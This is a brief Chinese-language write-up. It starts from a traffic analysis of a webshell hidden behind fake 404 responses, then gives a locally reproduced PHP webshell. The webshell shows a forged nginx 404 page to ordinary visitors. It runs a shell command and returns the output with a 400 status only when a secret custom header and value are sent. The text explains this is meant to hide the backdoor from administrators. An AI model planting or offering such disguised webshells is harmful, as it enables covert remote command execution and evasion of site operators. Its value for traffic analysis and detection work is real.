[分析] webshell 404状态码伪装 返回数据
使用wireshark分析流量
抓到的流量包发现/WebReport/log2.jsp这个文件在反复请求
HTTP Stream追踪流 看到返回状态码是404并且附带了加密数据
本地复现
log2.jsp是不管有没有数据都返回404状态码 我改成了执行返回命令返回400状态码
<?php
if (isset($_SERVER['HTTP_HFZOAHV']) && $_SERVER['HTTP_HFZOAHV'] == '2yzB8Wzz5nK5') {
// 伪装:根据修改请求头返回400状态码
// 执行命令并返回结果
header("HTTP/1.1 400 Bad Request");
$output = shell_exec('dir');
echo $output;
} else {
header("HTTP/1.1 404 Not Found");
echo "<html>";
echo "<head><title>404 Not Found</title></head>";
echo "<body>";
echo "<center><h1>404 Not Found</h1></center>";
echo "<hr><center>nginx</center>";
echo "</body>";
echo "</html>";
}
?>
如果管理员排查访问我们构造的恶意路径eval404.php则是404 Not Found
攻击者通过添加请求头得到状态码400和返回数据
总结:通过利用自定义Header来控制命令的执行,从而隐藏自己,以防止未授权的命令执行